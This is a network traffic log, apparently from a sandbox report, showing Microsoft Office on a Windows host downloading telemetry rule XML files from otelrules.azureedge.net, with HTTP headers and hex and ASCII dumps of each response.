2024-12-01 02:32:56 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:56 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 20bd7b2d-701e-001e-11a1-42f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023256Z-174f7845968n2hr8hC1EWR9cag00000011w000000000fn9k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:56 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.7	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:56 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:56 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: b778ce42-a01e-0021-7a3d-41814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023256Z-174f7845968kvnqxhC1EWRmf3g0000000p1000000000fxf3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:56 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.7	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:57 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:57 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1cfa5ca7-601e-000d-64b2-422618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023257Z-174f7845968jrjrxhC1EWRmmrs00000012b000000000g720 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:57 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.7	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:57 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:58 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: a9f050e4-401e-0083-111c-41075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023258Z-174f7845968qj8jrhC1EWRh41s000000125000000000hfnq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:58 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.7	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:58 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:58 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: e27289f3-201e-0003-0c15-42f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023258Z-174f7845968glpgnhC1EWR7uec00000012b000000000nwe1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:58 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.7	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:58 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:58 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 8c2ab7fe-e01e-0003-5b91-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023258Z-174f7845968cdxdrhC1EWRg0en00000012ag000000003yzs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:58 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.7	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:58 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:58 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 2bd9d4ea-701e-0032-154e-41a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023258Z-174f7845968zgtf6hC1EWRqd8s0000000v4g00000000ky2m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:58 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:59 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:59 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: c668448b-101e-007a-2d91-3f047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023259Z-174f7845968ljs8phC1EWRe6en000000122g00000000fpzx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:00 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:00 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:00 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 42ae9f56-701e-0001-1d37-40b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023300Z-174f78459684bddphC1EWRbht40000001220000000007vhh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:00 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:00 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:00 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 205353cd-201e-006e-0bb2-42bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023300Z-174f7845968swgbqhC1EWRmnb400000012fg0000000070d1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:00 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.7	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:00 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:01 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 6707dec4-701e-0050-76f7-416767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023301Z-174f7845968cdxdrhC1EWRg0en000000126g00000000evn5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:01 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.7	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:00 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:01 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 49e8a97e-c01e-008e-5491-3f7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023301Z-174f78459685m244hC1EWRgp2c0000001280000000000ufz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:01 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.7	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:01 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
